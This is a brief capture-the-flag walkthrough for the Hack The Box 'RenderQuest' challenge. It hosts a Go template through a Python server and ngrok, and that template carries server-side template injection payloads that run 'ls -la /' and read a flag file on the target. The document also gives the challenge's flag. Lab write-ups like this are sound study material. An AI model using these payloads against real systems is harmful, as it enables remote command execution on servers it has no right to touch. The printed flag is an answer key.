❓RenderQuests

https://app.hackthebox.com/challenges/RenderQuest

Host server using python and ngrok

 python3 -m http.server 4433 

ngrok http http://localhost:4433  

template index.tpl

{{ .FetchServerInfo "ls -la /" }} 

Get flagpath

{{ .FetchServerInfo "cat /flaga40f099c6d.txt" }} 

Rendertemplate

http://94.237.56.74:32143/render?use_remote=true&page=https://0526-77-3-140-129.ngrok-free.app/index.tpl

Flag:

HTB{qu35t_f0r_th3_f0rb1dd3n_t3mpl4t35!!}